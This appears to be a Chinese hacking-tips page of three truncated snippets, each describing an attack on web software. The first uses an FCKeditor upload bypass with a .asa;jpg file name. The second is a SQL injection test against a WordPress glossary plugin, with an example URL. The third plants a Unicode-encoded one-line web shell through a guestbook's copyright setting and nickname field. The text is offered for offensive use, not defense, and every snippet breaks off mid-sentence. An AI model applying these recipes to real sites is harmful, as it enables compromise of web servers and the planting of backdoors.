FCKEDITOR的上传漏洞：fck/editor/filemanager/connectors/test.html上传.asa;jpg没有TEST.HTML的，保存下面EXP.自己填上网址 <!--* FCKeditor - The te...

这个插件含sql注射缺陷文件：wp-content/plugins/wp-glossary/ajax.php测试: id=-1; or 1=if *示例*http://www.hack1990.com /wp-content/plugins/wp...

后台-->留言本系统设置-->版权声明添加：┼攠數畣整爠煥敵瑳∨∫┩愾┼砧（一句话的UNICODE）然后在主页留言：注意：开始随便多留几条言，然后在昵称插入：┠砾此时，就可以在默认的数据中插入一句话默认数据库:data#.asp，...